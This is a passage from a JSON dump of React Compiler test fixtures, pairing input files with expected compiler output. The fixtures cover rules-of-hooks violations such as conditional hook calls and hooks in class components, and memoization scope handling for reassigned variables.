    "content": "// @skip\n// Passed but should have failed\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nconst FancyButton = forwardRef(function (props, ref) {\n  if (props.fancy) {\n    useCustomHook();\n  }\n  return <button ref={ref}>{props.children}</button>;\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.invalid-rules-of-hooks-8566f9a360e2.expect.md",
    "content": "\n## Input\n\n```javascript\n// @skip\n// Passed but should have failed\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nconst MemoizedButton = memo(function (props) {\n  if (props.fancy) {\n    useCustomHook();\n  }\n  return <button>{props.children}</button>;\n});\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\ntodo.error.invalid-rules-of-hooks-8566f9a360e2.ts:8:4\n   6 | const MemoizedButton = memo(function (props) {\n   7 |   if (props.fancy) {\n>  8 |     useCustomHook();\n     |     ^^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n   9 |   }\n  10 |   return <button>{props.children}</button>;\n  11 | });\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.invalid-rules-of-hooks-8566f9a360e2.js",
    "content": "// @skip\n// Passed but should have failed\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nconst MemoizedButton = memo(function (props) {\n  if (props.fancy) {\n    useCustomHook();\n  }\n  return <button>{props.children}</button>;\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.invalid-rules-of-hooks-a0058f0b446d.expect.md",
    "content": "\n## Input\n\n```javascript\n// @skip\n// Passed but should have failed\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction ComponentWithConditionalHook() {\n  if (cond) {\n    Namespace.useConditionalHook();\n  }\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\ntodo.error.invalid-rules-of-hooks-a0058f0b446d.ts:8:4\n   6 | function ComponentWithConditionalHook() {\n   7 |   if (cond) {\n>  8 |     Namespace.useConditionalHook();\n     |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n   9 |   }\n  10 | }\n  11 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.invalid-rules-of-hooks-a0058f0b446d.js",
    "content": "// @skip\n// Passed but should have failed\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction ComponentWithConditionalHook() {\n  if (cond) {\n    Namespace.useConditionalHook();\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.rules-of-hooks-27c18dc8dad2.expect.md",
    "content": "\n## Input\n\n```javascript\n// @skip\n// Unsupported input\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nconst FancyButton = React.forwardRef((props, ref) => {\n  if (props.fancy) {\n    useCustomHook();\n  }\n  return <button ref={ref}>{props.children}</button>;\n});\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\ntodo.error.rules-of-hooks-27c18dc8dad2.ts:8:4\n   6 | const FancyButton = React.forwardRef((props, ref) => {\n   7 |   if (props.fancy) {\n>  8 |     useCustomHook();\n     |     ^^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n   9 |   }\n  10 |   return <button ref={ref}>{props.children}</button>;\n  11 | });\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.rules-of-hooks-27c18dc8dad2.js",
    "content": "// @skip\n// Unsupported input\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nconst FancyButton = React.forwardRef((props, ref) => {\n  if (props.fancy) {\n    useCustomHook();\n  }\n  return <button ref={ref}>{props.children}</button>;\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.rules-of-hooks-d0935abedc42.expect.md",
    "content": "\n## Input\n\n```javascript\n// @skip\n// Unsupported input\n\n// This is valid because \"use\"-prefixed functions called in\n// unnamed function arguments are not assumed to be hooks.\nReact.unknownFunction((foo, bar) => {\n  if (foo) {\n    useNotAHook(bar);\n  }\n});\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\ntodo.error.rules-of-hooks-d0935abedc42.ts:8:4\n   6 | React.unknownFunction((foo, bar) => {\n   7 |   if (foo) {\n>  8 |     useNotAHook(bar);\n     |     ^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n   9 |   }\n  10 | });\n  11 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.rules-of-hooks-d0935abedc42.js",
    "content": "// @skip\n// Unsupported input\n\n// This is valid because \"use\"-prefixed functions called in\n// unnamed function arguments are not assumed to be hooks.\nReact.unknownFunction((foo, bar) => {\n  if (foo) {\n    useNotAHook(bar);\n  }\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.rules-of-hooks-e29c874aa913.expect.md",
    "content": "\n## Input\n\n```javascript\n// @skip\n// Unsupported input\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction useHook() {\n  try {\n    f();\n    useState();\n  } catch {}\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\ntodo.error.rules-of-hooks-e29c874aa913.ts:9:4\n   7 |   try {\n   8 |     f();\n>  9 |     useState();\n     |     ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  10 |   } catch {}\n  11 | }\n  12 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.rules-of-hooks-e29c874aa913.js",
    "content": "// @skip\n// Unsupported input\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction useHook() {\n  try {\n    f();\n    useState();\n  } catch {}\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-191029ac48c8.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled @skip\n// Passed but should have failed\n\n// Invalid because it's dangerous.\n// Normally, this would crash, but not if you use inline requires.\n// This *must* be invalid.\n// It's expected to have some false positives, but arguably\n// they are confusing anyway due to the use*() convention\n// already being associated with Hooks.\nuseState();\nif (foo) {\n  const foo = React.useCallback(() => {});\n}\nuseCustomHook();\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled @skip\n// Passed but should have failed\n\n// Invalid because it's dangerous.\n// Normally, this would crash, but not if you use inline requires.\n// This *must* be invalid.\n// It's expected to have some false positives, but arguably\n// they are confusing anyway due to the use*() convention\n// already being associated with Hooks.\nuseState();\nif (foo) {\n  const foo = React.useCallback(() => {});\n}\nuseCustomHook();\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-191029ac48c8.js",
    "content": "// @expectNothingCompiled @skip\n// Passed but should have failed\n\n// Invalid because it's dangerous.\n// Normally, this would crash, but not if you use inline requires.\n// This *must* be invalid.\n// It's expected to have some false positives, but arguably\n// they are confusing anyway due to the use*() convention\n// already being associated with Hooks.\nuseState();\nif (foo) {\n  const foo = React.useCallback(() => {});\n}\nuseCustomHook();\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-206e2811c87c.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled @skip\n// Passed but should have failed\n\n// This is a false positive (it's valid) that unfortunately\n// we cannot avoid. Prefer to rename it to not start with \"use\"\nclass Foo extends Component {\n  render() {\n    if (cond) {\n      FooStore.useFeatureFlag();\n    }\n  }\n}\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled @skip\n// Passed but should have failed\n\n// This is a false positive (it's valid) that unfortunately\n// we cannot avoid. Prefer to rename it to not start with \"use\"\nclass Foo extends Component {\n  render() {\n    if (cond) {\n      FooStore.useFeatureFlag();\n    }\n  }\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-206e2811c87c.js",
    "content": "// @expectNothingCompiled @skip\n// Passed but should have failed\n\n// This is a false positive (it's valid) that unfortunately\n// we cannot avoid. Prefer to rename it to not start with \"use\"\nclass Foo extends Component {\n  render() {\n    if (cond) {\n      FooStore.useFeatureFlag();\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-28a7111f56a7.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled @skip\n// Passed but should have failed\n\n// Technically this is a false positive.\n// We *could* make it valid (and it used to be).\n//\n// However, top-level Hook-like calls can be very dangerous\n// in environments with inline requires because they can mask\n// the runtime error by accident.\n// So we prefer to disallow it despite the false positive.\n\nconst {createHistory, useBasename} = require('history-2.1.2');\nconst browserHistory = useBasename(createHistory)({\n  basename: '/',\n});\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled @skip\n// Passed but should have failed\n\n// Technically this is a false positive.\n// We *could* make it valid (and it used to be).\n//\n// However, top-level Hook-like calls can be very dangerous\n// in environments with inline requires because they can mask\n// the runtime error by accident.\n// So we prefer to disallow it despite the false positive.\n\nconst { createHistory, useBasename } = require(\"history-2.1.2\");\nconst browserHistory = useBasename(createHistory)({\n  basename: \"/\",\n});\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-28a7111f56a7.js",
    "content": "// @expectNothingCompiled @skip\n// Passed but should have failed\n\n// Technically this is a false positive.\n// We *could* make it valid (and it used to be).\n//\n// However, top-level Hook-like calls can be very dangerous\n// in environments with inline requires because they can mask\n// the runtime error by accident.\n// So we prefer to disallow it despite the false positive.\n\nconst {createHistory, useBasename} = require('history-2.1.2');\nconst browserHistory = useBasename(createHistory)({\n  basename: '/',\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-2c51251df67a.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled @skip\n// Passed but should have failed\n\n(class {\n  useHook() {\n    useState();\n  }\n});\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled @skip\n// Passed but should have failed\n\n(class {\n  useHook() {\n    useState();\n  }\n});\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-2c51251df67a.js",
    "content": "// @expectNothingCompiled @skip\n// Passed but should have failed\n\n(class {\n  useHook() {\n    useState();\n  }\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-5a7ac9a6e8fa.expect.md",
    "content": "\n## Input\n\n```javascript\n// @skip\n// Passed but should have failed\n\n// These are neither functions nor hooks.\nfunction _normalFunctionWithHook() {\n  useHookInsideNormalFunction();\n}\nfunction _useNotAHook() {\n  useHookInsideNormalFunction();\n}\n\n```\n\n## Code\n\n```javascript\n// @skip\n// Passed but should have failed\n\n// These are neither functions nor hooks.\nfunction _normalFunctionWithHook() {\n  useHookInsideNormalFunction();\n}\n\nfunction _useNotAHook() {\n  useHookInsideNormalFunction();\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-5a7ac9a6e8fa.js",
    "content": "// @skip\n// Passed but should have failed\n\n// These are neither functions nor hooks.\nfunction _normalFunctionWithHook() {\n  useHookInsideNormalFunction();\n}\nfunction _useNotAHook() {\n  useHookInsideNormalFunction();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-8303403b8e4c.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled @skip\n// Passed but should have failed\n\nclass ClassComponentWithHook extends React.Component {\n  render() {\n    React.useState();\n  }\n}\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled @skip\n// Passed but should have failed\n\nclass ClassComponentWithHook extends React.Component {\n  render() {\n    React.useState();\n  }\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-8303403b8e4c.js",
    "content": "// @expectNothingCompiled @skip\n// Passed but should have failed\n\nclass ClassComponentWithHook extends React.Component {\n  render() {\n    React.useState();\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-99b5c750d1d1.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled @skip\n// Passed but should have failed\n\nclass ClassComponentWithFeatureFlag extends React.Component {\n  render() {\n    if (foo) {\n      useFeatureFlag();\n    }\n  }\n}\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled @skip\n// Passed but should have failed\n\nclass ClassComponentWithFeatureFlag extends React.Component {\n  render() {\n    if (foo) {\n      useFeatureFlag();\n    }\n  }\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-99b5c750d1d1.js",
    "content": "// @expectNothingCompiled @skip\n// Passed but should have failed\n\nclass ClassComponentWithFeatureFlag extends React.Component {\n  render() {\n    if (foo) {\n      useFeatureFlag();\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-9c79feec4b9b.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled @skip\n// Passed but should have failed\n\n(class {\n  h = () => {\n    useState();\n  };\n});\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled @skip\n// Passed but should have failed\n\n(class {\n  h = () => {\n    useState();\n  };\n});\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-9c79feec4b9b.js",
    "content": "// @expectNothingCompiled @skip\n// Passed but should have failed\n\n(class {\n  h = () => {\n    useState();\n  };\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-a63fd4f9dcc0.expect.md",
    "content": "\n## Input\n\n```javascript\n// @skip\n// Passed but should have failed\n\n// This is invalid because \"use\"-prefixed functions used in named\n// functions are assumed to be hooks.\nReact.unknownFunction(function notAComponent(foo, bar) {\n  useProbablyAHook(bar);\n});\n\n```\n\n## Code\n\n```javascript\n// @skip\n// Passed but should have failed\n\n// This is invalid because \"use\"-prefixed functions used in named\n// functions are assumed to be hooks.\nReact.unknownFunction(function notAComponent(foo, bar) {\n  useProbablyAHook(bar);\n});\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-a63fd4f9dcc0.js",
    "content": "// @skip\n// Passed but should have failed\n\n// This is invalid because \"use\"-prefixed functions used in named\n// functions are assumed to be hooks.\nReact.unknownFunction(function notAComponent(foo, bar) {\n  useProbablyAHook(bar);\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-acb56658fe7e.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled @skip\n// Passed but should have failed\n\nclass C {\n  m() {\n    This.useHook();\n    Super.useHook();\n  }\n}\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled @skip\n// Passed but should have failed\n\nclass C {\n  m() {\n    This.useHook();\n    Super.useHook();\n  }\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-acb56658fe7e.js",
    "content": "// @expectNothingCompiled @skip\n// Passed but should have failed\n\nclass C {\n  m() {\n    This.useHook();\n    Super.useHook();\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-c59788ef5676.expect.md",
    "content": "\n## Input\n\n```javascript\n// @skip\n// Passed but should have failed\n\n// Currently invalid because it violates the convention and removes the \"taint\"\n// from a hook. We *could* make it valid to avoid some false positives but let's\n// ensure that we don't break the \"renderItem\" and \"normalFunctionWithConditionalHook\"\n// cases which must remain invalid.\nfunction normalFunctionWithHook() {\n  useHookInsideNormalFunction();\n}\n\n```\n\n## Code\n\n```javascript\n// @skip\n// Passed but should have failed\n\n// Currently invalid because it violates the convention and removes the \"taint\"\n// from a hook. We *could* make it valid to avoid some false positives but let's\n// ensure that we don't break the \"renderItem\" and \"normalFunctionWithConditionalHook\"\n// cases which must remain invalid.\nfunction normalFunctionWithHook() {\n  useHookInsideNormalFunction();\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-c59788ef5676.js",
    "content": "// @skip\n// Passed but should have failed\n\n// Currently invalid because it violates the convention and removes the \"taint\"\n// from a hook. We *could* make it valid to avoid some false positives but let's\n// ensure that we don't break the \"renderItem\" and \"normalFunctionWithConditionalHook\"\n// cases which must remain invalid.\nfunction normalFunctionWithHook() {\n  useHookInsideNormalFunction();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-ddeca9708b63.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled @skip\n// Passed but should have failed\n\n(class {\n  i() {\n    useState();\n  }\n});\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled @skip\n// Passed but should have failed\n\n(class {\n  i() {\n    useState();\n  }\n});\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-ddeca9708b63.js",
    "content": "// @expectNothingCompiled @skip\n// Passed but should have failed\n\n(class {\n  i() {\n    useState();\n  }\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-e675f0a672d8.expect.md",
    "content": "\n## Input\n\n```javascript\n// @skip\n// Passed but should have failed\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction renderItem() {\n  useState();\n}\n\nfunction List(props) {\n  return props.items.map(renderItem);\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @skip\n// Passed but should have failed\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction renderItem() {\n  useState();\n}\n\nfunction List(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.items) {\n    t0 = props.items.map(renderItem);\n    $[0] = props.items;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-e675f0a672d8.js",
    "content": "// @skip\n// Passed but should have failed\n\n// Invalid because it's dangerous and might not warn otherwise.\n// This *must* be invalid.\nfunction renderItem() {\n  useState();\n}\n\nfunction List(props) {\n  return props.items.map(renderItem);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-e69ffce323c3.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled @skip\n// Passed but should have failed\n\n(class {\n  useHook = () => {\n    useState();\n  };\n});\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled @skip\n// Passed but should have failed\n\n(class {\n  useHook = () => {\n    useState();\n  };\n});\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-e69ffce323c3.js",
    "content": "// @expectNothingCompiled @skip\n// Passed but should have failed\n\n(class {\n  useHook = () => {\n    useState();\n  };\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-f6f37b63b2d4",
    "content": "// @skip\n// Passed but should have failed\n\nHook.useState();\nHook._useState();\nHook.use42();\nHook.useHook();\nHook.use_hook();\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/same-variable-as-dep-and-redeclare-maybe-frozen.expect.md",
    "content": "\n## Input\n\n```javascript\n// note: comments are for the ideal scopes, not what is currently\n// emitted\nfunction foo(props) {\n  // scope 0: deps=[props.a] decl=[x] reassign=none\n  let x = [];\n  x.push(props.a);\n\n  // scope 1: deps=[x] decl=[header] reassign=none\n  const header = props.showHeader ? <div>{x}</div> : null;\n\n  // scope 2:\n  // deps=[x, props.b, props.c]\n  // decl=none\n  // reassign=[x]\n  const y = [x]; // y depends on the earlier x\n  x = []; // x reassigned\n  y.push(props.b); // interleaved mutation of x/y\n  x.push(props.c); // interleaved mutation\n\n  // scope 3 ...\n  const content = (\n    <div>\n      {x}\n      {y}\n    </div>\n  );\n\n  // scope 4 ...\n  return (\n    <>\n      {header}\n      {content}\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // note: comments are for the ideal scopes, not what is currently\n// emitted\nfunction foo(props) {\n  const $ = _c(16);\n  let x;\n  if ($[0] !== props.a) {\n    x = [];\n    x.push(props.a);\n    $[0] = props.a;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  let t0;\n  if ($[2] !== props.showHeader || $[3] !== x) {\n    t0 = props.showHeader ? <div>{x}</div> : null;\n    $[2] = props.showHeader;\n    $[3] = x;\n    $[4] = t0;\n  } else {\n    t0 = $[4];\n  }\n  const header = t0;\n  let y;\n  if ($[5] !== props.b || $[6] !== props.c || $[7] !== x) {\n    y = [x];\n    x = [];\n    y.push(props.b);\n    x.push(props.c);\n    $[5] = props.b;\n    $[6] = props.c;\n    $[7] = x;\n    $[8] = y;\n    $[9] = x;\n  } else {\n    y = $[8];\n    x = $[9];\n  }\n  let t1;\n  if ($[10] !== x || $[11] !== y) {\n    t1 = (\n      <div>\n        {x}\n        {y}\n      </div>\n    );\n    $[10] = x;\n    $[11] = y;\n    $[12] = t1;\n  } else {\n    t1 = $[12];\n  }\n  const content = t1;\n  let t2;\n  if ($[13] !== content || $[14] !== header) {\n    t2 = (\n      <>\n        {header}\n        {content}\n      </>\n    );\n    $[13] = content;\n    $[14] = header;\n    $[15] = t2;\n  } else {\n    t2 = $[15];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/same-variable-as-dep-and-redeclare-maybe-frozen.js",
    "content": "// note: comments are for the ideal scopes, not what is currently\n// emitted\nfunction foo(props) {\n  // scope 0: deps=[props.a] decl=[x] reassign=none\n  let x = [];\n  x.push(props.a);\n\n  // scope 1: deps=[x] decl=[header] reassign=none\n  const header = props.showHeader ? <div>{x}</div> : null;\n\n  // scope 2:\n  // deps=[x, props.b, props.c]\n  // decl=none\n  // reassign=[x]\n  const y = [x]; // y depends on the earlier x\n  x = []; // x reassigned\n  y.push(props.b); // interleaved mutation of x/y\n  x.push(props.c); // interleaved mutation\n\n  // scope 3 ...\n  const content = (\n    <div>\n      {x}\n      {y}\n    </div>\n  );\n\n  // scope 4 ...\n  return (\n    <>\n      {header}\n      {content}\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/same-variable-as-dep-and-redeclare.expect.md",
    "content": "\n## Input\n\n```javascript\n// note: comments are for the ideal scopes, not what is currently\n// emitted\nfunction foo(props) {\n  // scope 0: deps=[props.a] decl=[x] reassign=none\n  let x = [];\n  x.push(props.a);\n\n  // scope 1: deps=[x] decl=[header] reassign=none\n  const header = <div>{x}</div>;\n\n  // scope 2:\n  // deps=[x, props.b, props.c]\n  // decl=none\n  // reassign=[x]\n  const y = [x]; // y depends on the earlier x\n  x = []; // x reassigned\n  y.push(props.b); // interleaved mutation of x/y\n  x.push(props.c); // interleaved mutation\n\n  // scope 3 ...\n  const content = (\n    <div>\n      {x}\n      {y}\n    </div>\n  );\n\n  // scope 4 ...\n  return (\n    <>\n      {header}\n      {content}\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // note: comments are for the ideal scopes, not what is currently\n// emitted\nfunction foo(props) {\n  const $ = _c(14);\n  let t0;\n  let x;\n  if ($[0] !== props.a) {\n    x = [];\n    x.push(props.a);\n    t0 = <div>{x}</div>;\n    $[0] = props.a;\n    $[1] = t0;\n    $[2] = x;\n  } else {\n    t0 = $[1];\n    x = $[2];\n  }\n  const header = t0;\n  let y;\n  if ($[3] !== props.b || $[4] !== props.c || $[5] !== x) {\n    y = [x];\n    x = [];\n    y.push(props.b);\n    x.push(props.c);\n    $[3] = props.b;\n    $[4] = props.c;\n    $[5] = x;\n    $[6] = y;\n    $[7] = x;\n  } else {\n    y = $[6];\n    x = $[7];\n  }\n  let t1;\n  if ($[8] !== x || $[9] !== y) {\n    t1 = (\n      <div>\n        {x}\n        {y}\n      </div>\n    );\n    $[8] = x;\n    $[9] = y;\n    $[10] = t1;\n  } else {\n    t1 = $[10];\n  }\n  const content = t1;\n  let t2;\n  if ($[11] !== content || $[12] !== header) {\n    t2 = (\n      <>\n        {header}\n        {content}\n      </>\n    );\n    $[11] = content;\n    $[12] = header;\n    $[13] = t2;\n  } else {\n    t2 = $[13];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/same-variable-as-dep-and-redeclare.js",
